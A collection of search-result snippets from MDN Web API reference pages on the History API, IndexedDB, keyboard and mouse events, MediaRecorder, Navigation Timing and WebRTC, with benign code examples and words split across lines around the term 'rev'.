... an error occurs while trying to load or render the image, and an onerror event handler has been configured to handle the error event, that event handler will get called. this can happen in a number of situations, including: the src attribute is empty or null. the specified src url is the same as the url of the page the user is currently on. the specified image is corrupted in some way that p
revents it from being loaded. the specified image's metadata is corrupted in such a way that it's impossible to retrieve its dimensions, and no dimensions were specified in the <img> element's attributes. the specified image is in a format not supported by the user agent. example var img1 = new image(); // image constructor img1.src = 'image1.png'; img1.alt = 'alt'; document.body.appendchild(img...
HTMLLinkElement - Web APIs
he sizes html attribute, as a list of tokens. linkstyle.sheet read only returns the stylesheet object associated with the given element, or null if there is none. htmllinkelement.type is a domstring representing the mime type of the linked resource. obsolete properties htmllinkelement.charset is a domstring representing the character encoding for the target resource. htmllinkelement.
rev is a domstring representing the
reverse relationship of the linked resource from the resource to the document. note: currently the w3c html 5.2 spec states that
rev is no longer obsolete, whereas the whatwg living standard still has it labeled obsolete. until this discrepancy is resolved, you should still assume it is obsolete. htmllinkelement.target is a domstring representing the name...
...tandardthe definition of 'htmllinkelement' in that specification. living standard adds the following properties: crossorigin, referrerpolicy, and as. html 5.1the definition of 'htmllinkelement' in that specification. recommendation html5the definition of 'htmllinkelement' in that specification. recommendation the following properties are now obsolete: charset,
rev, and shape. the following properties have been added: rellist, and sizes. document object model (dom) level 2 html specificationthe definition of 'htmllinkelement' in that specification. obsolete added a second inheritence, the linkstyle interface. document object model (dom) level 1 specificationthe definition of 'htmllinkelement' in that specification. obsolete ...
HTMLOListElement - Web APIs
ht="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlolistelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlolistelement.
reversed is a boolean value reflecting the
reversed and defining if the numbering is descending, that is its value is true, or ascending (false). htmlolistelement.start is a long value reflecting the start and defining the value of the first number of the first element of the list. htmlolistelement.type is a domstring value reflecting the type and defining the kind of marker to be used to displa...
...ty used for that behavior in modern pages. methods no specific method; inherits methods from its parent, htmlelement. specifications specification status comment html living standardthe definition of 'htmlolistelement' in that specification. living standard html5the definition of 'htmlolistelement' in that specification. recommendation added the
reversed property. document object model (dom) level 2 html specificationthe definition of 'htmlolistelement' in that specification. obsolete no change from document object model (dom) level 1 specification. document object model (dom) level 1 specificationthe definition of 'htmlolistelement' in that specification. obsolete initial definition. ...
History - Web APIs
citly set default scroll restoration behavior on history navigation. this property can be either auto or manual. state read only returns an any value representing the state at the top of the history stack. this is a way to look at the state without having to wait for a popstate event. methods the history interface doesn't inherit any methods. back() this asynchronous method goes to the p
revious page in session history, the same action as when the user clicks the browser's back button. equivalent to history.go(-1). calling this method to go back beyond the first page in the session history has no effect and doesn't raise an exception. forward() this asynchronous method goes to the next page in session history, the same action as when the user clicks the browser's forward button;...
...session history, the same action as when the user clicks the browser's forward button; this is equivalent to history.go(1). calling this method to go forward beyond the most recent page in the session history has no effect and doesn't raise an exception. go() asynchronously loads a page from the session history, identified by its relative location to the current page, for example -1 for the p
revious page or 1 for the next page. if you specify an out-of-bounds value (for instance, specifying -1 when there are no p
reviously-visited pages in the session history), this method silently has no effect. calling go() without parameters or a value of 0 reloads the current page. internet explorer lets you specify a string, instead of an integer, to go to a specific url in the history list. pushsta...
Working with the History API - Web APIs
tate will contain the stateobj. the popstate event won't be fired because the page has been reloaded. the page itself will look like bar.html. if the user clicks back once again, the url will change to http://mozilla.org/foo.html, and the document will get a popstate event, this time with a null state object. here too, going back doesn't change the document's contents from what they were in the p
revious step, although the document might update its contents manually upon receiving the popstate event. note: calling history.back() normally behaves the same way as clicking the back button. but there is one important exception: after using history.pushstate(), calling history.back() does not raise a popstate event. clicking the browser's back button (still) does. the pushstate() method push...
...en if the new url differs from the old url only in its hash. in a xul document, it creates the specified xul element. in other documents, it creates an element with a null namespace uri. the replacestate() method history.replacestate() operates exactly like history.pushstate(), except that replacestate() modifies the current history entry instead of creating a new one. note that this doesn't p
revent the creation of a new entry in the global browser history. replacestate() is particularly useful when you want to update the state object or url of the current history entry in response to some user action. note: in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) through gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2), the passed object is serialized using json. starting in...
IDBCursor.continuePrimaryKey() - Web APIs
the continueprimarykey() method of the idbcursor interface advances the cursor to the to the item whose key matches the key parameter as well as whose primary key matches the primary key parameter. a typical use case, is to resume the iteration where a p
revious cursor has been closed, without having to compare the keys one by one. calling this method more than once before new cursor data has been loaded - for example, calling continueprimarykey() twice from the same onsuccess handler - results in an invalidstateerror being thrown on the second call because the cursor’s got value flag has been unset. this method is only valid for cursors coming from an index. using it for cursors coming from an object store will throw an error. note: this feature is available in web workers. syntax cu...
...nsactioninactiveerror this idbcursor's transaction is inactive. dataerror the key parameter may have any of the following conditions: the key is not a valid key. the key is less than or equal to this cursor's position and the cursor's direction is next or nextunique. the key is greater than or equal to this cursor's position and this cursor's direction is p
rev or p
revunique. invalidstateerror the cursor is currently being iterated or has iterated past its end. invalidaccesserror the cursor's direction is not p
rev or next. example here’s how you can resume an iteration of all articles tagged with "javascript" since your last visit: let request = articlestore.index("tag").opencursor(); let count = 0; let unread...
IDBDatabase.transaction() - Web APIs
u actually need to write into the database. if you need to open the object store in readwrite mode to change data, you would use the following: var transaction = db.transaction('my-store-name', "readwrite"); as of firefox 40, indexeddb transactions have relaxed durability guarantees to increase performance (see bug 1112702), which is the same behaviour as other indexeddb-supporting browsers. p
reviously in a readwrite transaction idbtransaction.oncomplete was fired only when all data was guaranteed to have been flushed to disk. in firefox 40+ the complete event is fired after the os has been told to write the data but potentially before that data has actually been flushed to disk. the complete event may thus be delivered quicker than before, however, there exists a small chance that the en...
...mental, and can only be used if the dom.indexeddb.experimental pref is set to true in about:config. details optional dictionary of other settings, supported only by chrome: return value an idbtransaction object. exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror the close() method has p
reviously been called on this idbdatabase instance. notfounderror an object store specified in in the storenames parameter has been deleted or removed. typeerror the value for the mode parameter is invalid. invalidaccesserror the function was called with an empty list of store names. example in this example we open a database connection, then use ...
IDBOpenDBRequest: blocked event - Web APIs
eateindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { // let's try to open the same database with a higher
revision version const req2 = indexeddb.open('todolist', 5); // in this case the onblocked handler will be executed req2.addeventlistener('blocked', () => { console.log('request was blocked'); }); }; using the onblocked property: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.resu...
...eateindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { // let's try to open the same database with a higher
revision version const req2 = indexeddb.open('todolist', 5); // in this case the onblocked handler will be executed req2.onblocked = () => { console.log('request was blocked'); }; }; ...
IDBTransaction - Web APIs
ures transactions can fail for a fixed number of reasons, all of which (except the user agent crash) will trigger an abort callback: abort due to bad requests, e.g. trying to add() the same key twice, or put() with the same index key with a uniqueness constraint. this causes an error on the request, which can bubble up to an error on the transaction, which aborts the transaction. this can be p
revented by using p
reventdefault() on the error event on the request. an explicit abort() call from script. an uncaught exception in the request's success/error handler. an i/o error (e.g. an actual failure to write to disk, or other os/hardware failure). quota exceeded. a user agent crash. firefox durability guarantees note that as of firefox 40, indexeddb transactions have relaxed durabilit...
... request. an explicit abort() call from script. an uncaught exception in the request's success/error handler. an i/o error (e.g. an actual failure to write to disk, or other os/hardware failure). quota exceeded. a user agent crash. firefox durability guarantees note that as of firefox 40, indexeddb transactions have relaxed durability guarantees to increase performance (see bug 1112702.) p
reviously in a readwrite transaction idbtransaction.oncomplete was fired only when all data was guaranteed to have been flushed to disk. in firefox 40+ the complete event is fired after the os has been told to write the data but potentially before that data has actually been flushed to disk. the complete event may thus be delivered quicker than before, however, there exists a small chance that the en...
Basic concepts - Web APIs
a dom event when the operation finishes, and the type of event you get lets you know if the operation succeeded or failed. this sounds a little complicated at first, but there are sanity measures baked in. it's not that different from the way that xmlhttprequest works. indexeddb uses a lot of requests. requests are objects that receive the success or failure dom events that were mentioned p
reviously. they have onsuccess and onerror properties, and you can call addeventlistener() and removeeventlistener() on them. they also have readystate, result, and errorcode properties that tell you the status of the request. the result property is particularly magical, as it can be many different things, depending on how the request was generated (for example, an idbcursor instance, or the key for ...
...amiliar with nosql systems, read the wikipedia article on nosql. indexeddb adheres to a same-origin policy. an origin is the domain, application layer protocol, and port of a url of the document where the script is being executed. each origin has its own associated set of databases. every database has a name that identifies it within an origin. the security boundary imposed on indexeddb p
revents applications from accessing data with a different origin. for example, while an app or a page in http://www.example.com/app/ can retrieve data from http://www.example.com/dir/, because they have the same origin, it cannot retrieve data from http://www.example.com:8080/dir/ (different port) or https://www.example.com/dir/ (different protocol), because they have different origins. note: thir...
Checking when a deadline is due - Web APIs
d the best solution was to give them a choice to pick from, which also saves on annoying typing for mobile users. the days are recorded as numerical days of the month, the months are recorded as full month names, and the years are recorded as full four digit year numbers. when the form's submit button is pressed, we run the adddata() function, which starts like this: function adddata(e) { e.p
reventdefault(); if(title.value == '' || hours.value == null || minutes.value == null || day.value == '' || month.value == '' || year.value == null) { note.innerhtml += '<li>data not submitted — form incomplete.</li>'; return; } in this segment, we check to see if the form fields have all been filled in. if not, we drop a message into our developer notifications pane (see the bottom ...
...ay in indexeddb to iterate through all the items in the store. we then loop through all the items in the cursor for as long as there is a valid item left in the cursor. switch(cursor.value.month) { case "january": var monthnumber = 0; break; case "february": var monthnumber = 1; break; // other lines removed from listing for b
revity case "december": var monthnumber = 11; break; default: alert('incorrect month entered in database.'); } the first thing we do is convert the month names we have stored in the database into a month number that javascript will understand. as we saw before, the javascript date object creates month values as a number between 0 and 11. ...
KeyboardEvent.code - Web APIs
" " + y + ") rotate(" + angle + " 15 15) "; spaceship.setattribute("transform", transform); } finally, the addeventlistener() method is used to start listening for keydown events, acting on each key by updating the ship position and rotation angle, then calling refresh() to draw the ship at its new position and angle. ...
... there are several ways this code can be made better. most real games would watch for keydown events, start motion when that happens, and stop the motion when the corresponding keyup occurs, instead of relying on key repeats. that would allow bo...
KeyboardEvent.keyCode - Web APIs
eyup events. as described above, the keycode attribute is not useful for printable characters, especially those input with the shift or alt key pressed. when implementing a shortcut key handler, the keypress event is usually better (at least when gecko is the runtime in use). see gecko keypress event for details. example window.addeventlistener("keydown", function (event) { if (event.defaultp
revented) { return; // should do nothing if the default action has been cancelled } var handled = false; if (event.key !== undefined) { // handle the event with keyboardevent.key and set handled true. } else if (event.keycode !== undefined) { // handle the event with keyboardevent.keycode and set handled true. } if (handled) { // suppress "double action" if event handled...
... return; // should do nothing if the default action has been cancelled } var handled = false; if (event.key !== undefined) { // handle the event with keyboardevent.key and set handled true. } else if (event.keycode !== undefined) { // handle the event with keyboardevent.keycode and set handled true. } if (handled) { // suppress "double action" if event handled event.p
reventdefault(); } }, true); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.keycode' in that specification. obsolete initial definition; specified as deprecated ...
KeyframeEffectOptions - Web APIs
e operation. defaults to replace. add dictates an additive effect, where each successive iteration builds on the last. for instance with transform, a translatex(-200px) would not override an earlier rotate(20deg) value but result in translatex(-200px) rotate(20deg). accumulate is similar but a little smarter: blur(2) and blur(5) become blur(7), not blur(2) blur(5). replace overwrites the p
revious value with the new one. iterationcomposite optional determines how values build from iteration to iteration in this animation. can be set to accumulate or replace (see above). defaults to replace. pseudoelement optional the selector of the pseudo-element to be targeted, if any. defaults to null. delay optional the number of milliseconds to delay the start of the animation. def...
...ld from iteration to iteration in this animation. can be set to accumulate or replace (see above). defaults to replace. pseudoelement optional the selector of the pseudo-element to be targeted, if any. defaults to null. delay optional the number of milliseconds to delay the start of the animation. defaults to 0. direction optional whether the animation runs forwards (normal), backwards (
reverse), switches direction after each iteration (alternate), or runs backwards and switches direction after each iteration (alternate-
reverse). defaults to "normal". duration optional the number of milliseconds each iteration of the animation takes to complete. defaults to 0. although this is technically optional, keep in mind that your animation will not run if this value is 0. easing optional ...
Location - Web APIs
le]:hover:before, :target:before {background:black; color:yellow;} [title] [title]:before {margin-top:1.5em;} [title] [title] [title]:before {margin-top:3em;} [title]:hover, :target {position:relative; z-index:1; outline:50em solid rgba(255,255,255,.8);} javascript [].foreach.call(document.queryselectorall('[title][id]'), function (node) { node.addeventlistener("click", function(e) { e.p
reventdefault(); e.stoppropagation(); window.location.hash = '#' + $(this).attr('id'); }); }); [].foreach.call(document.queryselectorall('[title]'), function (node) { node.addeventlistener("click", function(e) { e.p
reventdefault(); e.stoppropagation(); window.location.hash = ''; }); }); result properties location.ancestororigins is a static domstringlist containing, ...
...default(); e.stoppropagation(); window.location.hash = '#' + $(this).attr('id'); }); }); [].foreach.call(document.queryselectorall('[title]'), function (node) { node.addeventlistener("click", function(e) { e.p
reventdefault(); e.stoppropagation(); window.location.hash = ''; }); }); result properties location.ancestororigins is a static domstringlist containing, in
reverse order, the origins of all ancestor browsing contexts of the document associated with the given location object. location.href is a stringifier that returns a usvstring containing the entire url. if changed, the associated document navigates to the new page. it can be set from a different origin than the associated document. location.protocol is a usvstring containing the protocol scheme o...
MSGestureEvent - Web APIs
stureevent object. properties this interface also inherits properties of its parents, uievent and event. msgestureevent.expansion read only the diameter of the gesture area. for example, the distance between fingers. msgestureevent.gestureobject read only returns the msgesture object for this gesture event. ...
...estureevent.gestureobject read only returns the msgesture object for this gesture event. msgestureevent.rotation read only amount of rotation (in radians) since the p
revious msgestureevent of the current gesture. positive values indicate clockwise rotation; negative values indicate anticlockwise rotation. msgestureevent.scale read only the difference in scale (for zoom gestures) from the p
revious msgestureevent of the current gesture. msgestureevent.translationx read only distance traversed along the x-axis since the p
revious msgestureevent of the current gesture msgestureevent.translationy read only distance traversed along the y-axis since the p
revious msgestureevent of the current gesture msgestureevent.velocityangular read only angular velocity. expressed in radians. msg...
MSSiteModeEvent - Web APIs
ietary method is specific to internet explorer and microsoft edge. dom information inheritance hierarchy event mssitemodeevent methods method description initevent initializes a new generic event that the createevent method created. *note that as of microsoft edge, the createevent()/initevent() constructor pattern for synthetic events is deprecated. p
reventdefault cancels the default action of an event. stopimmediatepropagation p
revents any further propagation of an event. stoppropagation p
revents propagation of an event beyond the current target. properties property description actionurl gets the url of a jump list item that is removed. *this property is not supported for windows sto...
...is not supported for windows store apps using javascript. cancelable gets a value that indicates whether you can cancel an event's default action. cancelbubble gets or sets a value that indicates whether an event should be stopped from propagating up from the current target. currenttarget gets the event target that is currently being processed. defaultp
revented gets a value that indicates whether the default action should be canceled. eventphase gets the event phase that is being evaluated. istrusted gets a value that indicates whether a trusted event source created an event. srcelement gets the element that the event was originally dispatched to. compare to target. target gets the element that is ...
MediaPositionState.playbackRate - Web APIs
be used by the user agent to provide a user interface which displays media playback information to the viewer. for example, a browser might use this information along with the position property and the navigator.mediasession.playbackstate, as well as the session's metadata to provide an integrated common user interface showing the currently playing media as well as standard pause, play, forward,
reverse, and other controls. syntax let positionstate = { playbackrate: rate }; let playbackrate = positionstate.playbackrate; value a floating-point value specifying a multiplier corresponding to the current relative rate at which the media being performed is playing. a value of 1.0 indicates the media is playing forward at normal speed, while higher values indicate that the media is being pla...
...alue specifying a multiplier corresponding to the current relative rate at which the media being performed is playing. a value of 1.0 indicates the media is playing forward at normal speed, while higher values indicate that the media is being played faster than normal. lower values indicate the media is being played more slowly. negative values can be specified to indicate the media is playing in
reverse, with decreasing values then indicating faster and faster
reverse playback. note: a value of 0.0 is not permitted. example in this example, an app is updating the browser to let it know that the user has clicked a button causing the playback to shift to a double-speed mode. it begins by creating a mediapositionstate object, then submits it to the browser it by calling navigator.mediasess...
MediaRecorder - Web APIs
ed). the event, of type blobevent, contains the recorded media in its data property. you can then collect and act upon that recorded media data using this event handler. mediarecorder.onerror an eventhandler called to handle the error event, including reporting errors that arise with media recording. these are fatal errors that stop recording. the received event is based on the mediarecordererro
revent interface, whose error property contains a domexception that describes the actual error that occurred. mediarecorder.onpause an eventhandler called to handle the pause event, which occurs when media recording is paused. mediarecorder.onresume an eventhandler called to handle the resume event, which occurs when media recording resumes after being paused. mediarecorder.onstart an eventhand...
... specifications specification status comment mediastream recording working draft initial definition ...
MediaSessionActionDetails - Web APIs
aken from the mediasessionaction enumerated type, indicating which type of action needs to be performed. see media action types below for possible values. fastseek optional an seekto action may optionally include this property, which is a boolean value indicating whether or not to perform a "fast" seek. a "fast" seek is a seek being performed in a rapid sequence, such as when fast-forwarding or
reversing through the media, rapidly skipping through it. this property can be used to indicate that you should use the shortest possible method to seek the media. fastseek is not included on the final action in the seek sequence in this situation. seekoffset optional if the action is either seekforward or seekbackward and this property is present, it is a floating point value which indicates the n...
...ed type. values each of the actions is a common media session control request. implement support for each of these in order to allow that type of action to be performed. the following strings identify the currently available types of media session action: nexttrack advances playback to the next track. pause pauses playback of the media. play begins (or resumes) playback of the media. p
revioustrack moves back to the p
revious track. seekbackward seeks backward through the media from the current position. the mediasessionactiondetails property seekoffset specifies the amount of time to seek backward. seekforward seeks forward from the current position through the media. the mediasessionactiondetails property seekoffset specifies the amount of time to seek forward. seekto moves...
MediaStream Recording API - Web APIs
unks.push(event.data); console.log(recordedchunks); download(); } else { // ... } } function download() { var blob = new blob(recordedchunks, { type: "video/webm" }); var url = url.createobjecturl(blob); var a = document.createelement("a"); document.body.appendchild(a); a.style = "display: none"; a.href = url; a.download = "test.webm"; a.click(); window.url.
revokeobjecturl(url); } // demo: to download after 9sec settimeout(event => { console.log("stopping"); mediarecorder.stop(); }, 9000); examining and controlling the recorder status you can also use the properties of the mediarecorder object to determine the state of the recording process, and its pause() and resume() methods to pause and resume recording of the source media. if you need or w...
...stream from an <audio> or <video> element and use the captured stream (in this case, recording it and saving it to a local disk). reference blobevent each time a chunk of media data is finished being recorded, it's delivered to consumers in blob form using a blobevent of type dataavailable. mediarecorder the primary interface that implements the mediastream recording api. mediarecordererro
revent the interface that represents errors thrown by the mediastream recording api. its error property is a domexception that specifies that error occurred. specifications specification status comment mediastream recording working draft initial definition ...
MouseEvent.button - Web APIs
utton pressed, usually the wheel button or the middle button (if present) 2: secondary button pressed, usually the right button 3: fourth button, typically the browser back button 4: fifth button, typically the browser forward button as noted above, buttons may be configured differently to the standard "left to right" layout. ...
...ured differently to the standard "left to right" layout. a mouse configured for left-handed use may have the button actions
reversed. some pointing devices only have one button and use keyboard or other input mechanisms to indicate main, secondary, auxilary, etc. others may have many buttons mapped to different functions and button values. ...
MouseEvent.movementX - Web APIs
syntax var xshift = instanceofmouseevent.movementx; return value a number example this example logs the amount of mouse movement using movementx and movementy. ...
... syntax var xshift = instanceofmouseevent.movementx; return value a number example this example logs the amount of mouse movement using movementx and movementy. ...
MouseEvent.movementY - Web APIs
syntax var yshift = instanceofmouseevent.movementy; return value a number example this example logs the amount of mouse movement using movementx and movementy. ...
... syntax var yshift = instanceofmouseevent.movementy; return value a number example this example logs the amount of mouse movement using movementx and movementy. ...
MutationObserverInit.attributes - Web APIs
observe() was used to start observing the node or subtree will be called any time one or more attributes have changed on observed nodes. you can expand the capabilities of attribute mutation monitoring using other options: attributefilter lets you specify specific attribute names to monitor instead of monitoring all attributes. attributeoldvalue lets you specify whether or not you want the p
revious value of changed attributes to be included in the mutationrecord's oldvalue property. subtree lets you specify whether to watch the target node and all of its descendants (true), or just the target node (false). if you set either attributefilter or attributeoldvalue to true, attributes is automatically assumed to be true, even if you don't expressly set it as such. example in this exampl...
...user the name of the attribute that changed as well as the attribute's new value (mutation.target[mutation.attributename]) and its old value (mutation.oldvalue). when observe() is called, the specified options are attributes and attributeoldvalue, which means that changes to attribute values will be reported, and each mutation record will include the oldvalue property specifying the attribute's p
revious value. specifications specification status comment domthe definition of 'mutationobserverinit.attributes' in that specification. living standard ...
MutationObserverInit - Web APIs
ributes on the node or nodes being monitored. the default value is true if either of attributefilter or attributeoldvalue is specified, otherwise the default value is false. attributefilter optional an array of specific attribute names to be monitored. if this property isn't included, changes to all attributes cause mutation notifications. attributeoldvalue optional set to true to record the p
revious value of any attribute that changes when monitoring the node or nodes for attribute changes; see monitoring attribute values in mutationobserver for details on watching for attribute changes and value recording. the default value is false. characterdata optional set to true to monitor the specified target node (and, if subtree is true, its descendants) for changes to the character data cont...
... and value recording. the default value is false. characterdata optional set to true to monitor the specified target node (and, if subtree is true, its descendants) for changes to the character data contained within the node or nodes. the default value is true if characterdataoldvalue is specified, otherwise the default value is false. characterdataoldvalue optional set to true to record the p
revious value of a node's text whenever the text changes on nodes being monitored. for details and an example, see monitoring text content changes in mutationobserver. the default value is false. specifications specification status comment domthe definition of 'mutationobserverinit' in that specification. living standard ...
Using Navigation Timing - Web APIs
performance.navigation.type indicates what kind of load operation took place: a navigation, a reload, or a shift through the browser's history. we also obtain the number of redirects that were incurred during the navigation from performance.navigation.redirectcount. this information is output to the screen just like the ...
...ing at the contents of the performance.navigation object. performance.navigation.type indicates what kind of load operation took place: a navigation, a reload, or a shift through the browser's history. we also obtain the number of redirects that were incurred during the navigation from performance.navigation.redirectcount. this information is output to the screen just like the page load time was p
reviously: by inserting it into the element with class "output". html <div class="output"> </div> css .output { border: 1px solid #bbb; font: 16px "open sans", "helvetica", "arial", sans-serif; } with this code in place, the result looks like this: the values listed are for the <iframe> in which the sample is presented. ...
Navigation Timing API - Web APIs
be much more accurate and reliable. this article currently describes navigation timing level 1. there is a specification for level 2, but it is not yet covered here. concepts and usage you can use the navigation timing api to gather performance data on the client side, which you can then transmit to a server using xmlhttprequest or other techniques. this api lets you measure data that was p
reviously difficult to obtain, such as the amount of time needed to unload the p
revious page, how long domain lookups take, the total time spent executing the window's load handler, and so forth. interfaces performance the window.performance property returns a performance object. while this interface is defined by the high resolution time api, the navigation timing api adds two properties: timin...
...erformancenavigation the type used to return the value of navigation, which contains information explaining the context of the load operation described by this performance instance. the navigation timing api can be used to gather performance data on the client side to be sent to a server via xhr as well as measure data that was very difficult to measure by other means such as time to unload a p
revious page, domain look up time, window.onload total time, etc. examples calculate the total page load time to compute the total amount of time it took to load the page, you can use the following code: const perfdata = window.performance.timing; const pageloadtime = perfdata.loadeventend - perfdata.navigationstart; this subtracts the time at which navigation began (navigationstart) from the t...
Node.setUserData() - Web APIs
eeding to alter the structure of a document and in a standard fashion, but it also means that extra steps may need to be taken if one wishes to serialize the information or include the information upon clone, import, or rename operations. the node.getuserdata and node.setuserdata methods are no longer available from web content. htmlelement.dataset or weakmap can be used instead. syntax var p
revuserdata = somenode.setuserdata(userkey, userdata, handler); parameters userkey is used as the key by which one may subsequently obtain the stored data. more than one key can be set for a given node. handler is a callback which will be called any time the node is being cloned, imported, renamed, as well as if deleted or adopted; a function can be used or an object implementing the handle meth...
...serdatahandler interface). the handler will be passed five arguments: an operation type integer (e.g., 1 to indicate a clone operation), the user key, the data on the node, the source node (null if being deleted), the destination node (the newly created node or null if none).if no handler is desired, one must specify null. userdata is the object to associate to userkey on somenode. if null, any p
reviously registered object and userdatahandler associated to userkey on this node will be removed. example var d = document.implementation.createdocument('', 'test', null); d.documentelement.setuserdata('key', 15, {handle:function (o, k, d, s, ds) {console.log(o+'::'+k+'::'+d+'::'+s+'::'+ds)}}); // 2::key::15::[object element]::[object element] console.log(d.documentelement.getuserdata('key')); /...
NodeIterator - Web APIs
y returns the node to which the iterator is anchored. nodeiterator.pointerbeforereferencenode read only returns a boolean flag that indicates whether the nodeiterator is anchored before, the flag being true, or after, the flag being false, the anchor node. methods this interface doesn't inherit any method. nodeiterator.detach() this operation is a no-op. it doesn't do anything. p
reviously it was telling the engine that the nodeiterator was no more used, but this is now useless. nodeiterator.p
reviousnode() returns the p
revious node in the document, or null if there are none. nodeiterator.nextnode() returns the next node in the document, or null if there are none. specifications specification status comment domthe definition of 'nodeiterator'...
...the next node in the document, or null if there are none. specifications specification status comment domthe definition of 'nodeiterator' in that specification. living standard added the referencenode and pointerbeforereferencenode properties. removed the expandentityreferences property. the method detach() has been changed to be a no-op. the methods p
reviousnode() and nextnode() don't raise an exception any more. document object model (dom) level 2 traversal and range specificationthe definition of 'nodeiterator' in that specification. obsolete initial definition. ...
NonDocumentTypeChildNode - Web APIs
the nondocumenttypechildnode interface contains methods that are particular to node objects that can have a parent, but not suitable for documenttype. nondocumenttypechildnode is a raw interface and no object of this type can be created; it is implemented by element, and characterdata objects. properties there are no inherited properties. nondocumenttypechildnode.p
reviouselementsibling read only returns the element immediately prior to this node in its parent's children list, or null if there is no element in the list prior to this node. nondocumenttypechildnode.nextelementsibling read only returns the element immediately following this node in its parent's children list, or null if there is no element in the list following this node. methods there are neither inherited nor spe...
...dren list, or null if there is no element in the list following this node. methods there are neither inherited nor specific methods. specifications specification status comment domthe definition of 'nondocumenttypechildnode' in that specification. living standard splitted the elementtraversal interface in parentnode, childnode, and nondocumenttypechildnode. the p
reviouselementsibling and nextelementsibling are now defined on the latter. the characterdata and element implemented the new interfaces. element traversal specificationthe definition of 'elementtraversal' in that specification. obsolete added the initial definition of its properties to the elementtraversal pure interface and use it on element. ...
Notification.close() - Web APIs
a valid use for this api would be to remove a notification that is no longer relevant (e.g. the user already read the notification on the webpage in the case of a messaging app or the following song is already playing in a music app). ...
...a valid use for this api would be to remove a notification that is no longer relevant (e.g. the user already read the notification on the webpage in the case of a messaging app or the following song is already playing in a music app). ...
Notification.onclick - Web APIs
ble in web workers. the onclick property of the notification interface specifies an event listener to receive click events. these events occur when the user clicks on a displayed notification. syntax notification.onclick = function(event) { ... }; the default behavior is to move the focus to the viewport of the notification's related browsing context. ...
...avior is to move the focus to the viewport of the notification's related browsing context. if you don't want that behaviour, call p
reventdefault() on the event object. examples in the following example, we use an onclick handler to open a webpage in a new tab (specified by the inclusion of the '_blank' parameter) once a notification is clicked: notification.onclick = function(event) { event.p
reventdefault(); // p
revent the browser from focusing the notification's tab window.open('http://www.mozilla.org', '_blank'); } specifications specification status comment notifications apithe definition of 'onclick' in that specification. living standard living standard. ...
PaymentRequest.show() - Web APIs
ach value in the response and ensures that they're valid, returning true if every field is valid or false if any are not. if and only if every field is valid, the complete() method is called on the response with the string "success", which indicates that everything is valid and that the payment can complete accordingly. if any fields have unacceptable values, or if an exception is thrown by the p
revious code, complete() is called with the string "fail", which indicates that the payment process is complete and failed. instead of immediately failing, you could choose to call retry() on the response object to ask the user agent to try to process the payment again; this should usually only be done after the user has made any needed corrections to the order. starting the payment process, in the...
... information in the paymentresponse object to format and send payment data to the server. you should send the payment information to the server asynchronously so that the final call to paymentresponse.complete() can indicate the success or failure of the payment. button.onclick = async function handlepurchase() { // initialization of paymentrequest arguments are excerpted for the sake of // b
revity. const payment = new paymentrequest(methods, details, options); try { const response = await payment.show(); // process response here, including sending payment instrument // (e.g., credit card) information to the server. // paymentresponse.methodname contains the selected payment method // paymentresponse.details contains a payment method specific response await re...
PromiseRejectionEvent.promise - Web APIs
e promise was rejected. syntax promise = promiserejectionevent.promise value the javascript promise which was rejected, and whose rejection went unhandled. examples this example listens for unhandled promises and, if the reason is an object with a code field containing the text "module not ready", it sets up an idle callback that will retry the task that failed to execute correctly. ...
...ll retry the task that failed to execute correctly. event.p
reventdefault() is called to indicate that the promise has now been handled. window.onunhandledrejection = function(event) { if (event.reason.code && event.reason.code == "module not ready") { window.requestidlecallback(function(deadline) { loadmodule(event.reason.modulename) .then(performstartup); }); event.p
reventdefault(); } } specifications specification status comment html living standardthe definition of 'promiserejectionevent.promise' in that specification. living standard initial definition. ...
RTCDTMFToneChangeEvent - Web APIs
the rtcdtmftonechangeevent interface represents events sent to indicate that dtmf tones have started or finished playing. this interface is used by the tonechange event. properties in addition to the properties of event, this interface offers the following: rtcdtmftonechangeevent.tone read only a domstring specifying the tone which has begun playing, or an empty string ("") if the p
revious tone has finished playing. constructors rtcdtmftonechangeevent() returns a new rtcdtmftonechangeevent. it takes two parameters, the first being a domstring representing the type of the event (always "tonechange"); the second a dictionary containing the initial state of the properties of the event. methods supports the methods defined in event. there are no additional methods. examples thi...
...ionary containing the initial state of the properties of the event. methods supports the methods defined in event. there are no additional methods. examples this snippet is derived loosely from the full, working example you'll find in when a tone finishes playing in using dtmf with webrtc. it appends each tone to a display box as it's played, and, once all tones have been sent, re-enabled a p
reviously-disabled "send" button, allowing the next dmtf string to be entered. dtmfsender.addeventlistener("change", function(event) { if (event.tone !== "") { dialstringbox.innertext += event.tone; } else { senddtmfbutton.disabled = false; } }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definiti...
RTCDataChannel.onerror - Web APIs
that event object, in turn, describes the error that took place. ...
...that event object, in turn, describes the error that took place. example in the example below, a data channel is established, and an onerror handler is added to it. ...
RTCPeerConnection.addTrack() - Web APIs
which is called when an offer message is received from the remote peer. var mediaconstraints = { audio: true, // we want an audio track video: true // ...and we want a video track }; var desc = new rtcsessiondescription(sdp); pc.setremotedescription(desc).then(function () { return navigator.mediadevices.getusermedia(mediaconstraints); }) .then(function(stream) { p
reviewelement.srcobject = stream; stream.gettracks().foreach(track => pc.addtrack(track, stream)); }) this code takes sdp which has been received from the remote peer and constructs a new rtcsessiondescription to pass into setremotedescription(). once that succeeds, it uses mediadevices.getusermedia() to obtain access to the local webcam and microphone. if that succeeds, the resulting stream is ...
